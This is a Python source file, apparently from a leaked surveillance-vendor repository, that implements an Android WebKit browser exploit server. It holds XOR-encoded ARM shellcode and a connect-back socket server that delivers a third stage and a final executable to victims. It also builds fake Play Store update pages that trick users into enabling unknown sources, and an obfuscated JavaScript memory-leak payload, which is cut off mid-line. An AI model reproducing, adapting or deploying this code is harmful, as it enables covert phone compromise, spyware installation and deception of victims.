hackedteam/vector-exploit

View on GitHub
src/ht-webkit-Android23/webkit_rc3_plus_tea.py

Summary

Maintainability
F
1 wk
Test Coverage
#!/usr/bin/env python

import re
import os
import sys
import cgi
import math
import time
import zlib
import types
import base64
import string
import random
import struct
import socket
import logging
import httplib
import urlparse
import threading
import BaseHTTPServer
from exp_server import *

logging.basicConfig(format='%(levelname)s: %(message)s', level=logging.DEBUG)

LOG = dict()


"""
TEA
"""

def raw_xxtea(v, n, k):
    assert type(v) == type([])
    assert type(k) == type([]) or type(k) == type(())
    assert type(n) == type(1)

    def MX():
        return ((z>>5)^(y<<2)) + ((y>>3)^(z<<4))^(sum^y) + (k[(p & 3)^e]^z)

    def u32(x):
        return x & 0xffffffff

    y = v[0]
    sum = 0
    DELTA = 0x9e3779b9

    if n > 1:       # Encoding
        z = v[n-1]
        q = 6 + 52 / n
        while q > 0:
            q -= 1
            sum = u32(sum + DELTA)
            e = u32(sum >> 2) & 3
            p = 0
            while p < n - 1:
                y = v[p+1]
                z = v[p] = u32(v[p] + MX())
                p += 1
            y = v[0]
            z = v[n-1] = u32(v[n-1] + MX())
        return 0
    elif n < -1:    # Decoding
        n = -n
        q = 6 + 52 / n
        sum = u32(q * DELTA)
        while sum != 0:
            e = u32(sum >> 2) & 3
            p = n - 1
            while p > 0:
                z = v[p-1]
                y = v[p] = u32(v[p] - MX())
                p -= 1
            z = v[n-1]
            y = v[0] = u32(v[0] - MX())
            sum = u32(sum - DELTA)
        return 0
    return 1


class XXTEAException(Exception):
    pass


class XXTEA:
    """
    XXTEA wrapper class, easy to use and compatible (by duck typing) with the
    Blowfish class.
    """

    def __init__(self, key):
        """
        Initializes the inner class data with the given key. The key must be
        128-bit (16 characters) in length.
        """
        if len(key) != 16 or type(key) != type(""):
            raise XXTEAException("Invalid key")
        self.key = struct.unpack("IIII", key)
        assert len(self.key) == 4
        self.initCTR()

    def encrypt(self, data):
        """
        Encrypts a block of data (of size a multiple of 4 bytes, minimum 8
        bytes) and returns the encrypted data.
        """
        if len(data) % 4 != 0:
            raise XXTEAException("Invalid data - size must be a multiple of 4 bytes")
        ldata = len(data) / 4
        idata = list(struct.unpack("%dI" % ldata, data))
        if raw_xxtea(idata, ldata, self.key) != 0:
            raise XXTEAException("Cannot encrypt")
        return struct.pack("%dI" % ldata, *idata)

    def decrypt(self, data):
        """
        Decrypts a block of data encrypted with encrypt() and returns the
        decrypted data.
        """
        if len(data) % 4 != 0:
            raise XXTEAException("Invalid data - size must be a multiple of 4 bytes")
        ldata = len(data) / 4
        idata = list(struct.unpack("%dI" % ldata, data))
        if raw_xxtea(idata, -ldata, self.key) != 0:
            raise XXTEAException("Cannot encrypt")
        return struct.pack("%dI" % ldata, *idata)

    def initCTR(self, iv=0):
        """
        Initializes CTR mode with optional 32-bit IV.
        """
        self.ctr_iv = [0, iv]
        self._calcCTRBUF()

    def _calcCTRBUF(self):
        """
        Calculates one (64-bit) block of CTR keystream.
        """
        self.ctr_cks = self.encrypt(struct.pack("II", *self.ctr_iv)) # keystream block
        self.ctr_iv[1] += 1
        if self.ctr_iv[1] > 0xffffffff:
            self.ctr_iv[0] += 1
            self.ctr_iv[1] = 0
        self.ctr_pos = 0

    def _nextCTRByte(self):
        """Returns one byte of CTR keystream"""
        b = ord(self.ctr_cks[self.ctr_pos])
        self.ctr_pos += 1
        if self.ctr_pos >= len(self.ctr_cks):
            self._calcCTRBUF()
        return b

    def encryptCTR(self, data):
        """
        Encrypts a buffer of data with CTR mode. Multiple successive buffers
        (belonging to the same logical stream of buffers) can be encrypted
        with this method one after the other without any intermediate work.
        """
        if type(data) != types.StringType:
            raise RuntimeException, "Can only work on 8-bit strings"
        result = []
        for ch in data:
            result.append(chr(ord(ch) ^ self._nextCTRByte()))
        return "".join(result)

    def decryptCTR(self, data):
        return self.encryptCTR(data)

    def block_size(self):
        return 8

    def key_length(self):
        return 16

    def key_bits(self):
        return self.key_length()*8

# end of tea


class Exploit:

    def __init__(self, ip, socket_port, final_executable,  exploit_id, landing_page, redirect_page):
        
        # format  \ua8c0\u8345 - (b)168 (a)192  (d)131 (c)69
        ip = map(lambda x: hex(int(x))[2:], ip.split('.'))

        assert len(ip) == 4
        
        i=0
        while( i < 4):
            if len(ip[i]) == 1:
                ip[i] = '0' + ip[i]
            i+=1
        

        self.ip = '\u' + ip[1] + ip[0] + '\u' + ip[3] + ip[2]


        # port is port for shellcode transfer
        self.socket_port_normalized = int(socket_port)
        self.socket_port = fmt_short(int(socket_port)) 
        
        # server_port is http port
        self.server_port = 80

        #self.file_size =  file_size

        # local exploitation report
        self.local_report = ''

        # Updated by local exploit
        self.fakevendor = "Super Vendor" 

        # format \u4567\u0123
        # key must be in hex
        
        while True:
            xor_key = ''.join([ random.choice(string.digits) for i in range(0,8)])
            
            if not '00' in xor_key:
                break
               

        # got a weird behaviours on slow vps - mistery
        xor_key = '11111111'

        assert len(xor_key) == 8, 'Key must be 4 bytes e.g. 01234567'
        self.xor_key_normalized = xor_key
        self.xor_key = '\u' + xor_key[4:8] + '\u' + xor_key[0:4]
        
        
        self.third_stage = self.generate_third_stage()
       
        self.final_executable, size = xor( '{}/{}'.format(exploit_id,final_executable), self.xor_key_normalized)

        
        self.exploit_id    = exploit_id
        LOG['exploit_id']  = exploit_id

        self.landing_page_path  = landing_page
        self.redirect_page_path = redirect_page

        
        self.report_generated = False
        self.report_lock = threading.Lock()

        self.run_id = ''.join( [random.choice(string.ascii_lowercase + string.digits) for i in range(0, 8)])

            

        # tea key 16 characters
        self.tea_key = ''
        while( len(self.tea_key) < 16 ):
            self.tea_key += random.choice(string.ascii_lowercase + string.digits)

        self.tea = XXTEA(self.tea_key)
        
        LOG['tea_key'] = self.tea_key

        
        self.leak_page                    = self.generate_leak_stage() 
        self.redirect_page                = self.generate_redirect_page() 
        self.exploitless_landing_page     = self.generate_exploitless_landing_page()
        
        self.update_html_served           = False




    def socket_server(self):

        self.socket_server_lock.acquire()

        print 'Spawning socket server on port {}'.format(self.socket_port_normalized)

        # handle KeyboardInterrupt 'gracefully' within launch()
        #if self.bailing:
        #    return
        
        third_stage = map(lambda x: struct.pack('>B', x), self.third_stage)
        third_stage = ''.join(third_stage)
        conn = None
        conn2 = None

        try:
            # spawn a socket, wait for shellcode to connect back and send 3rd stage
            self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.socket.bind( ('', int(self.socket_port_normalized)) ) 
  
            self.socket.listen(0)

            logging.debug('Listen for 3rd stage {}'.format(time.ctime()))
            LOG['shellcode_listen_time'] = time.ctime()


            self.socket.settimeout(120)            
            conn, addr = self.socket.accept()
            logging.debug('Got a 3rd stage connection from {}'.format(addr) )
            LOG['shellcode_client'] = addr


            conn.sendall(third_stage)
            LOG['shellcode_sent_time'] = time.ctime()
            logging.debug('3rd stage sent {}'.format(time.ctime()))
        

            logging.debug('Listen for final executable')
            conn2, addr2 = self.socket.accept()
            logging.debug('Got a final executable connection from {}'.format( addr2 ) )
            LOG['shared_object_client'] = addr2

            
            # both che socket connections must come from the same ip
            if addr[0] != addr2[0]:
                LOG['socket_connection_mismatch'] = '{} vs {}'.format(addr[0], addr2[0])
                raise Exception('Ip address mismatch')

                                                  

            conn2.sendall(self.final_executable)
            LOG['shared_object_sent_time'] = time.ctime()
            logging.debug('Final payload sent')

            conn.close()
            conn2.close()
 
            logging.info('Waiting at post exploitation accept')
            conn3, addr3 = self.socket.accept()


            if( addr[0] != addr3[0] ):
                raise Exception('Post exploitation: Ip address Mismatch')


            start_exp_server(conn3)


        except socket.timeout as e:
            LOG['exploit_fail_reason'] = 'Timeout'
            logging.info('Timeout ') 

        except Exception as e:
            logging.info('Bailing socket server')

        except socket.error as e:
            logging.info('Socket error {}'.format(e))


        self.socket.close()
        logging.info('Socket server closed')
        
        self.report()



    # moved to main
    def launch(self):
        
        self.socket_server_thread = threading.Thread(target=self.socket_server)
        self.socket_server_lock = threading.Lock()
        self.socket_server_lock.acquire() 
        self.socket_server_thread.start()

        try:
            logging.info('Starting HTTP server on port {}'.format(self.server_port))
            self.bailing = False            
            self.http_server.serve_forever()
            
        except KeyboardInterrupt:
            self.bail()

        self.report()


    def bail(self):
        logging.info('Bailing HTTP server')
        self.http_server.shutdown()
        self.bailing = True

        try:
            self.socket_server_lock.release()
            self.socket.shutdown(socket.SHUT_RDWR)
            self.socket.close()
        except Exception:
            logging.debug('Release socket server lock')
            pass

        logging.info('HTTP server closed')        



    def report(self):

        self.report_lock.acquire()

       
        if not self.report_generated:

            log_file = open('run_{}.log'.format(self.run_id), 'w')
            log_file.write('Report {}\n'.format(self.run_id))
                    
            logging.debug('----> Report {}<----'.format(self.run_id))

            for l in LOG.keys():
                logging.debug( '{} -> {}'.format(l, LOG[l]) )
                log_file.write( '{} -> {}\n'.format(l, LOG[l]) )

            self.parse_local_report(log_file)

            log_file.close()


        
        self.report_lock.release()


    # Generate a report concerning local exploitation
    def parse_local_report(self, log_fd):
        msg = {
            'dwer':'An error occured during download!',
            'pker':'An error occured analyzing packages on device!',
            'expfl':'Exploitation failed!',
            'expok':'Exploitation correctly completed',
            'lvdw':'Downloading Levitator',
            'exdw':'Downloading Exynos',
            'gbdw':'Downloading Gingerbreak',
            'gmdw':'Downloading Gimli',
            'em':'Emulator detected!',
            'stsoc':'Going in social mode!'
            }


        if self.local_report == "":
            log_fd.write("\nNo local report generated\n\n")
        else:
            log_fd.write("\n" + "LOCAL REPORT:")
            for i in self.local_report.strip().split("!"):
                if msg.get(i) != None:
                    log_fd.write("\n" + msg.get(i))
                else:
                    log_fd.write("\n" + i)            
            log_fd.write("\n\n")



    def generate_third_stage(self):
        
        third_stage_code = [ 0x99, 0xb0, 0x02, 0xb4, 0x6b, 0xa0, 0x0c, 0x27,
                             0x01, 0xdf, 0x6a, 0xa2, 0x92, 0x46, 0x1f, 0x32,
                             0x93, 0x46, 0x00, 0x28, 0x12, 0xd0, 0x6f, 0xa0,
                             0x0c, 0x27, 0x01, 0xdf, 0x6d, 0xa2, 0x92, 0x46,
                             0x1f, 0x32, 0x93, 0x46, 0x00, 0x28, 0x09, 0xd0,
                             0x72, 0xa0, 0x0c, 0x27, 0x01, 0xdf, 0x71, 0xa2,
                             0x92, 0x46, 0x10, 0x32, 0x93, 0x46, 0x00, 0x28,
                             0x0d, 0xd0, 0x50, 0xd1, 0x02, 0x27, 0x01, 0xdf,
                             0x00, 0x28, 0x08, 0xd1, 0x76, 0xa0, 0x70, 0xa2,
                             0x79, 0xa1, 0xdb, 0x1a, 0x0f, 0xb4, 0x92, 0x1a,
                             0x69, 0x46, 0x0b, 0x27, 0x01, 0xdf, 0x02, 0x20,
                             0x01, 0x21, 0x92, 0x1a, 0x0f, 0x02, 0x19, 0x37,
                             0x01, 0xdf, 0x06, 0x1c, 0x49, 0xa1, 0x10, 0x22,
                             0x02, 0x37, 0x01, 0xdf, 0x4b, 0xa2, 0x12, 0x88,
                             0x4b, 0xa1, 0x09, 0x88, 0x4c, 0xa0, 0x05, 0x27,
                             0x01, 0xdf, 0x80, 0x46, 0xb1, 0x46, 0x00, 0x26,
                             0x6d, 0xa2, 0x12, 0x88, 0x73, 0xa5, 0x29, 0x1c,
                             0x48, 0x46, 0x03, 0x27, 0x01, 0xdf, 0x01, 0x28,
                             0x12, 0xdb, 0x84, 0x46, 0x67, 0xa1, 0x09, 0x68,
                             0x2a, 0x1c, 0x00, 0x23, 0x10, 0x68, 0x48, 0x40,
                             0x10, 0x60, 0x04, 0x33, 0x04, 0x32, 0x63, 0x45,
                             0xf8, 0xdb, 0x62, 0x46, 0x29, 0x1c, 0x40, 0x46,
                             0x04, 0x27, 0x01, 0xdf, 0x36, 0x18, 0xe3, 0xe7,
                             0x40, 0x46, 0x06, 0x27, 0x01, 0xdf, 0x48, 0x46,
                             0x06, 0x27, 0x01, 0xdf, 0x38, 0xa1, 0x5a, 0x46,
                             0x08, 0x68, 0x10, 0x60, 0x04, 0x31, 0x04, 0x32,
                             0x08, 0x68, 0x10, 0x60, 0x04, 0x31, 0x04, 0x32,
                             0x08, 0x78, 0x10, 0x70, 0x01, 0xe0, 0x01, 0x27,
                             0x01, 0xdf, 0x02, 0xbc, 0x0e, 0x1c, 0x8c, 0x31,
                             0x0a, 0x68, 0x94, 0x46, 0x20, 0x31, 0x0a, 0x68,
                             0x90, 0x46, 0x04, 0x31, 0x0a, 0x68, 0x91, 0x46,
                             0x18, 0x31, 0x0a, 0x68, 0x93, 0x46, 0x53, 0xa0,
                             0x00, 0xf0, 0x1a, 0xf8, 0x60, 0x44, 0x01, 0xb4,
                             0x4e, 0xa0, 0x00, 0xf0, 0x15, 0xf8, 0x60, 0x44,
                             0x01, 0xb4, 0x50, 0x46, 0x01, 0x21, 0x08, 0xbc,
                             0x1b, 0x68, 0x98, 0x47, 0x47, 0xa1, 0x08, 0xbc,
                             0x1b, 0x68, 0x98, 0x47, 0x04, 0x1c, 0x1b, 0xa0,
                             0x00, 0x68, 0x1b, 0xa1, 0x09, 0x88, 0x00, 0x2c,
                             0xd5, 0xd0, 0xa0, 0x47, 0xd3, 0xe7, 0xc0, 0x46,
                             0x04, 0x1c, 0x48, 0x46, 0xff, 0x27, 0x3f, 0x01,
                             0x00, 0x25, 0x01, 0x35, 0xbd, 0x42, 0x1e, 0xda,
                             0x10, 0x30, 0x01, 0x68, 0x41, 0x44, 0x0b, 0x68,
                             0x22, 0x68, 0x9a, 0x42, 0xf5, 0xd1, 0x04, 0x31,
                             0x04, 0x34, 0x0b, 0x88, 0x22, 0x88, 0x9a, 0x42,
                             0xef, 0xd1, 0x2f, 0x02, 0x58, 0x46, 0x04, 0x38,
                             0x34, 0x1c, 0xcc, 0x34, 0x24, 0x68, 0x01, 0x3c,
                             0x00, 0x2c, 0x08, 0xdd, 0x08, 0x30, 0x01, 0x68,
                             0x09, 0x0a, 0x09, 0x02, 0xb9, 0x42, 0xf6, 0xd1,
                             0x04, 0x38, 0x00, 0x68, 0x70, 0x47, 0x00, 0x20,
                             0x70, 0x47, 0xc0, 0x46 ]

        third_stage_sockaddr = [ 0x02, 0x00, 
                                 #0x12, 0x34,
                                 int(self.socket_port[4:6],16), int(self.socket_port[2:4],16),
                                 #0xc0, 0xa8, 0x45, 0x83,
                                 int(self.ip[4:6],16), int(self.ip[2:4],16), int(self.ip[10:12],16), int(self.ip[8:10],16) ]

        
        third_stage_ip = [ int(self.ip[10:12],16), int(self.ip[8:10],16), int(self.ip[4:6],16), int(self.ip[2:4],16)  ]

        third_stage_port = [ int(self.socket_port[2:4],16), int(self.socket_port[4:6],16), 0x1, 0x1 ]

        third_stage_open_flags = [ 0xc0, 0x01, 0x01, 0x01, 0x42, 0x02, 0x01, 0x01 ]
        
        third_stage_dropped_file_size = [  0x2d, 0x00, 0x00, 0x00 ]

        third_stage_dropped_file_name = [ ord(random.choice(string.ascii_lowercase + string.digits)),
                                          ord(random.choice(string.ascii_lowercase + string.digits)), 
                                          ord(random.choice(string.ascii_lowercase + string.digits)), 
                                          ord(random.choice(string.ascii_lowercase + string.digits)), 
                                          ord(random.choice(string.ascii_lowercase + string.digits)), 
                                          0x2e, 0x73, 0x6f,         # .so
                                          0x00, 0x01, 0x01, 0x01 ]  # padding


        third_stage_strings = [ 0x2f, 0x61, 0x70, 0x70, 0x2d, 0x63, 0x61, 0x63,
                                0x68, 0x65, 0x2f, 0x63, 0x6f, 0x6d, 0x2e, 0x61,
                                0x6e, 0x64, 0x72, 0x6f, 0x69, 0x64, 0x2e, 0x62,
                                0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x2f, 0x00,
                                0x2f, 0x64, 0x61, 0x74, 0x61, 0x2f, 0x64, 0x61,
                                0x74, 0x61, 0x2f, 0x63, 0x6f, 0x6d, 0x2e, 0x61,
                                0x6e, 0x64, 0x72, 0x6f, 0x69, 0x64, 0x2e, 0x62,
                                0x72, 0x6f, 0x77, 0x73, 0x65, 0x72, 0x2f, 0x00,
                                0x2f, 0x64, 0x61, 0x74, 0x61, 0x2f, 0x6c, 0x6f,
                                0x63, 0x61, 0x6c, 0x2f, 0x74, 0x6d, 0x70, 0x2f,
                                0x00, 0x01, 0x01, 0x01, 0x2e, 0x2f, 0x63, 0x61,
                                0x63, 0x68, 0x65, 0x2f, 0x77, 0x65, 0x62, 0x76,
                                0x69, 0x65, 0x77, 0x43, 0x61, 0x63, 0x68, 0x65,
                                0x00, 0x01, 0x01, 0x01, 0x2f, 0x73, 0x79, 0x73,
                                0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
                                0x72, 0x6d, 0x00, 0x01, 0x2d, 0x52, 0x00, 0x01 ]



        key = self.xor_key.replace('\u','')

        third_stage_key = [ int(key[2:4],16), int(key[0:2],16), int(key[6:8],16), int(key[4:6],16) ]

        third_stage_buffer_size = [ 0x00, 0x04, 0x01, 0x01 ]

        third_stage_export = [ 0x73, 0x74, 0x61, 0x72, 0x74, 0x00, 0x01, 0x01 ]

        third_stage_dlstrings = [  0x64, 0x6c, 0x6f, 0x70, 0x65, 0x6e, 0x00, 0x01,
                                   0x64, 0x6c, 0x73, 0x79, 0x6d, 0x00, 0x01, 0x01  ]




        third_stage =   third_stage_code + third_stage_sockaddr + third_stage_ip + \
            third_stage_port + third_stage_open_flags + third_stage_dropped_file_size +\
            third_stage_dropped_file_name + third_stage_strings +third_stage_key + \
            third_stage_buffer_size + third_stage_export + third_stage_dlstrings
    
        
        # xor_key is key as 01234567
        third_stage = xor_buffer(third_stage, self.xor_key_normalized)

        return third_stage


    # START FAKE PLAY STORE PAGES

    """
    Page containing the link the user has to click
    to prompt 'unknown sources'
    """
    def generate_update_page(self):

        page = open('play/main.html', 'r').read()

        faketitle = 'Android perfomance package'
        page = page.replace('FAKETITLE', faketitle)
        page = page.replace('FAKEVENDOR', self.fakevendor)

        return page


    # END FAKE PLAY STORE PAGES

    @staticmethod
    def generate_fetch_update_page():
        key = 'b323848a7a9a16001b28fc3747a88c59'
        #key = '$123456*' # TODO: remove

        page = '''
        
        <html>
      <head>
            <script>
          function completed() {
            document.location = "https://play.google.com/store";
          }
           </script>
      </head>
      <body onload=completed()>
        '''
        page += '{}</body></html>'.format(key)


        return page
        

    # aka: redirect_page without redirect
    def generate_exploitless_landing_page(self):
        
        return open('{}/{}'.format(self.exploit_id, self.redirect_page_path)).read()

# old generate_exploitless_landing_page
#         page = '''
       
#         <html>
#         <head>
#         </head>
#         <body>
# '''
     
#         page += open('{}/{}'.format(self.exploit_id, self.redirect_page_path)).read()


#         page += '''</body>
#        </html>

# '''
#         return page


    def generate_redirect_page(self):

        # read the whole page
        page = open('{}/{}'.format(self.exploit_id, self.redirect_page_path)).read()
        
        # insert redirect function at the end of </head>
        script = '''
<script>
  function redir() {
    document.location = 'first.html'
  }
</script> 
</head>
        '''
        
        page = page.replace('</head>', script)

        # insert body onload
        onload = '<body onload=redir()'
        page = page.replace('<body', onload)
        
        #open("redirect.html", 'w').write(page)

        return page


# old generate_redirect_page
#         page = '''
#         <html>
#         <head>
#           <script>
#              function redir() {
#                document.location = 'first.html'
#              }
#           </script> 
#         </head>
#         <body onload=redir()>
# '''
     
#         page += open('{}/{}'.format(self.exploit_id, self.redirect_page_path)).read()


#         page += '''</body>
#        </html>

# '''
#         return page



    def generate_css(self):
        """
        Code served within <style>
        """

        page = '''



        '''

        return page


    def generate_fake_content(self):
        """
        Code served within <body>
        """
        page = open('{}/{}'.format(self.exploit_id, self.landing_page_path)).read()

        

        return page


    def generate_tea(self):
        return '<script>{}</script>'.format(open('tea_compressed.js', 'r').read())


    def generate_leak_stage(self):
        
   
        # 1] put tea js lib at the bottom of </head>
 
        tea =  self.generate_tea()
        tea += '''
</head>'''

        page = open('{}/{}'.format(self.exploit_id, self.landing_page_path)).read()

        page = page.replace('</head>', tea)
        
        # 2] put tea key in body id
        tea_key = '<body id="{}"'.format(self.tea_key)
        
        page = page.replace('<body', tea_key)


        # 3] put leak payload at the bottom of the page
        page = page.replace('</body>', '')
        page = page.replace('</html>', '')

        page += '''


<div id="ad2">.</div>
<div id="ad1"></div>

<script>


var Struct=new function(){var c,b=false,a=this;a._DeArray=function(e,f,d){return[e.slice(f,f+d)]};a._EnArray=function(e,h,d,f){for(var g=0;g<d;e[h+g]=f[g]?f[g]:0,g++){}};a._DeChar=function(d,e){return String.fromCharCode(d[e])};a._EnChar=function(d,f,e){d[f]=e.charCodeAt(0)};a._DeInt=function(d,k){var j=b?(c.len-1):0,m=b?-1:1,g=j+m*c.len,l,e,h;for(l=0,e=j,h=1;e!=g;l+=(d[k+e]*h),e+=m,h*=256){}if(c.bSigned&&(l&Math.pow(2,c.len*8-1))){l-=Math.pow(2,c.len*8)}return l};a._EnInt=function(d,j,e){var h=b?(c.len-1):0,k=b?-1:1,g=h+k*c.len,f;e=(e<c.min)?c.min:(e>c.max)?c.max:e;for(f=h;f!=g;d[j+f]=e&255,f+=k,e>>=8){}};a._DeString=function(e,g,d){for(var h=new Array(d),f=0;f<d;h[f]=String.fromCharCode(e[g+f]),f++){}return h.join("")};a._EnString=function(e,j,d,f){for(var h,g=0;g<d;e[j+g]=(h=f.charCodeAt(g))?h:0,g++){}};a._De754=function(t,g){var u,o,k,n,q,r,h,j,f,l;h=c.mLen,j=c.len*8-c.mLen-1,l=(1<<j)-1,f=l>>1;n=b?0:(c.len-1);q=b?1:-1;u=t[g+n];n+=q;r=-7;for(o=u&((1<<(-r))-1),u>>=(-r),r+=j;r>0;o=o*256+t[g+n],n+=q,r-=8){}for(k=o&((1<<(-r))-1),o>>=(-r),r+=h;r>0;k=k*256+t[g+n],n+=q,r-=8){}switch(o){case 0:o=1-f;break;case l:return k?NaN:((u?-1:1)*Infinity);default:k=k+Math.pow(2,h);o=o-f;break}return(u?-1:1)*k*Math.pow(2,o-h)};a._En754=function(t,g,u){var w,o,k,n,q,r,h,j,f,l;h=c.mLen,j=c.len*8-c.mLen-1,l=(1<<j)-1,f=l>>1;w=u<0?1:0;u=Math.abs(u);if(isNaN(u)||(u==Infinity)){k=isNaN(u)?1:0;o=l}else{o=Math.floor(Math.log(u)/Math.LN2);if(u*(r=Math.pow(2,-o))<1){o--;r*=2}if(o+f>=1){u+=c.rt/r}else{u+=c.rt*Math.pow(2,1-f)}if(u*r>=2){o++;r/=2}if(o+f>=l){k=0;o=l}else{if(o+f>=1){k=(u*r-1)*Math.pow(2,h);o=o+f}else{k=u*Math.pow(2,f-1)*Math.pow(2,h);o=0}}}for(n=b?(c.len-1):0,q=b?-1:1;h>=8;t[g+n]=k&255,n+=q,k/=256,h-=8){}for(o=(o<<h)|k,j+=h;j>0;t[g+n]=o&255,n+=q,o/=256,j-=8){}t[g+n-q]|=w*128};a._sPattern="(\\d+)?([AxcbBhHsfdiIlL])";a._lenLut={A:1,x:1,c:1,b:1,B:1,h:2,H:2,s:1,f:4,d:8,i:4,I:4,l:4,L:4};a._elLut={A:{en:a._EnArray,de:a._DeArray},s:{en:a._EnString,de:a._DeString},c:{en:a._EnChar,de:a._DeChar},b:{en:a._EnInt,de:a._DeInt,len:1,bSigned:true,min:-Math.pow(2,7),max:Math.pow(2,7)-1},B:{en:a._EnInt,de:a._DeInt,len:1,bSigned:false,min:0,max:Math.pow(2,8)-1},h:{en:a._EnInt,de:a._DeInt,len:2,bSigned:true,min:-Math.pow(2,15),max:Math.pow(2,15)-1},H:{en:a._EnInt,de:a._DeInt,len:2,bSigned:false,min:0,max:Math.pow(2,16)-1},i:{en:a._EnInt,de:a._DeInt,len:4,bSigned:true,min:-Math.pow(2,31),max:Math.pow(2,31)-1},I:{en:a._EnInt,de:a._DeInt,len:4,bSigned:false,min:0,max:Math.pow(2,32)-1},l:{en:a._EnInt,de:a._DeInt,len:4,bSigned:true,min:-Math.pow(2,31),max:Math.pow(2,31)-1},L:{en:a._EnInt,de:a._DeInt,len:4,bSigned:false,min:0,max:Math.pow(2,32)-1},f:{en:a._En754,de:a._De754,len:4,mLen:23,rt:Math.pow(2,-24)-Math.pow(2,-77)},d:{en:a._En754,de:a._De754,len:8,mLen:52,rt:0}};a._UnpackSeries=function(k,f,d,h){for(var g=c.de,j=[],e=0;e<k;j.push(g(d,h+e*f)),e++){}return j};a._PackSeries=function(l,g,d,j,e,f){for(var h=c.en,k=0;k<l;h(d,j+k*g,e[f+k]),k++){}};a.Unpack=function(f,e,i){b=(f.charAt(0)!="<");i=i?i:0;var h=new RegExp(this._sPattern,"g"),d,k,g,j=[];while(d=h.exec(f)){k=((d[1]==undefined)||(d[1]==""))?1:parseInt(d[1]);g=this._lenLut[d[2]];if((i+k*g)>e.length){return undefined}switch(d[2]){case"A":case"s":j.push(this._elLut[d[2]].de(e,i,k));break;case"c":case"b":case"B":case"h":case"H":case"i":case"I":case"l":case"L":case"f":case"d":c=this._elLut[d[2]];j.push(this._UnpackSeries(k,g,e,i));break}i+=k*g}return Array.prototype.concat.apply([],j)};a.PackTo=function(f,l,d,o){b=(f.charAt(0)!="<");var q=new RegExp(this._sPattern,"g"),g,e,r,k=0,h;while(g=q.exec(f)){e=((g[1]==undefined)||(g[1]==""))?1:parseInt(g[1]);r=this._lenLut[g[2]];if((d+e*r)>l.length){return false}switch(g[2]){case"A":case"s":if((k+1)>o.length){return false}this._elLut[g[2]].en(l,d,e,o[k]);k+=1;break;case"c":case"b":case"B":case"h":case"H":case"i":case"I":case"l":case"L":case"f":case"d":c=this._elLut[g[2]];if((k+e)>o.length){return false}this._PackSeries(e,r,l,d,o,k);k+=e;break;case"x":for(h=0;h<e;h++){l[d+h]=0}break}d+=e*r}return l};a.Pack=function(d,e){return this.PackTo(d,new Array(this.CalcLength(d)),0,e)};a.CalcLength=function(e){var g=new RegExp(this._sPattern,"g"),d,f=0;while(d=g.exec(e)){f+=(((d[1]==undefined)||(d[1]==""))?1:parseInt(d[1]))*this._lenLut[d[2]]}return f}}();Number.prototype.toFullFixed=function(){var g=Math.abs(this).toExponential();var b=g.split("e");var h=b[0].replace(".","");var l=h.length;var j=parseInt(b[1],10);var m=Math.abs(j);if(j>=0){m=m-l+1}var k="";for(var c=0;c<m;++c){k+="0"}if(j<=0){h=k+h;h=h.substring(0,1)+"."+h.substring(1)}else{h=h+k;if(m<0){h=h.substring(0,j+1)+"."+h.substring(j+1)}}if(this<0){h="-"+h}return h};function m_d(d,c){var b="";var e=false;var f=false;var g=false;e=Struct.Pack(">II ",[c,d]);f=Struct.Unpack(">d",e);b=new Number(f).toFullFixed();return b}function engine(){if(window.devicePixelRatio){if(escape(navigator.javaEnabled.toString())==="function%20javaEnabled%28%29%20%7B%20%5Bnative%20code%5D%20%7D"){return 1}else{return 0}}}function os(){var a=navigator.userAgent.match(/Android ((\d\.?)+)/);if(a){if(a.length<2){a=null}else{a=a[1].split(".").map(function(b){return +b})}}return a}function mr(g,h){var f=0;var k=g;var l=0;var d=document.createElement("h1");var c="";var b=h;while(l<h){var e=false;var j=false;var a=false;e=m_d(k,b);d.style.src="local("+e+")";data=d.style.src;a=data.substr(0,data.length-1).substr(6);c+=a;k+=b;l+=b}return c}function m_s(g,j,b,d){var f=0;var l=g;var m=0;var h=document.createElement("h1");var c="";while(m<j){var e=false;var k=false;var a=false;e=m_d(l,b);h.style.src="local("+e+")";data=h.style.src;data=data.substr(0,data.length-1).substr(6);for(f=0;f<data.length;f++){if(d==1){if(data.charCodeAt(f).toString(16)=="696c"&&data.charCodeAt(f+1).toString(16)=="6462"&&data.charCodeAt(f+2).toString(16)=="2e6c"){return(l+f*2).toString(16)}}else{if(d==2){if(data.charCodeAt(f).toString(16)=="682f"&&data.charCodeAt(f+1).toString(16)=="6838"&&data.charCodeAt(f+2).toString(16)=="6a83"&&data.charCodeAt(f+3).toString(16)=="4638"&&data.charCodeAt(f+4).toString(16)=="4798"){return(l+f*2).toString(16)}}else{if(d==3){if(data.charCodeAt(f).toString(16)=="f107"&&data.charCodeAt(f+1).toString(16)=="70c"&&data.charCodeAt(f+2).toString(16)=="46bd"&&data.charCodeAt(f+3).toString(16)=="e8bd"&&data.charCodeAt(f+4).toString(16)=="40b0"&&data.charCodeAt(f+5).toString(16)=="b003"&&data.charCodeAt(f+6).toString(16)=="4770"){return(l+f*2).toString(16)}}else{if(d==4){if(data.charCodeAt(f).toString(16)=="6821"&&data.charCodeAt(f+1).toString(16)=="4620"&&data.charCodeAt(f+2).toString(16)=="6e8b"&&data.charCodeAt(f+3).toString(16)=="4629"&&data.charCodeAt(f+4).toString(16)=="4798"&&data.charCodeAt(f+5).toString(16)=="6820"&&data.charCodeAt(f+6).toString(16)=="a907"&&data.charCodeAt(f+7).toString(16)=="69c2"&&data.charCodeAt(f+8).toString(16)=="4620"&&data.charCodeAt(f+9).toString(16)=="4790"){return(l+f*2).toString(16)}}else{if(d==5){if(data.charCodeAt(f).toString(16)=="90"&&data.charCodeAt(f+1).toString(16)=="e92d"&&data.charCodeAt(f+2).toString(16)=="707d"&&data.charCodeAt(f+3).toString(16)=="e3a0"&&data.charCodeAt(f+4).toString(16)=="0"&&data.charCodeAt(f+5).toString(16)=="ef00"){return(l+f*2).toString(16)}}else{if(d==6){if(data.charCodeAt(f).toString(16)=="bd70"){return(l+f*2).toString(16)}}else{if(d==7){if(data.charCodeAt(f).toString(16)=="6807"&&data.charCodeAt(f+1).toString(16)=="68fd"&&data.charCodeAt(f+2).toString(16)=="47a8"){return(l+f*2).toString(16)}}else{if(d==8){if(data.charCodeAt(f).toString(16)=="46bd"&&data.charCodeAt(f+1).toString(16)=="b003"&&data.charCodeAt(f+2).toString(16)=="bcb0"&&data.charCodeAt(f+3).toString(16)=="bc08"&&data.char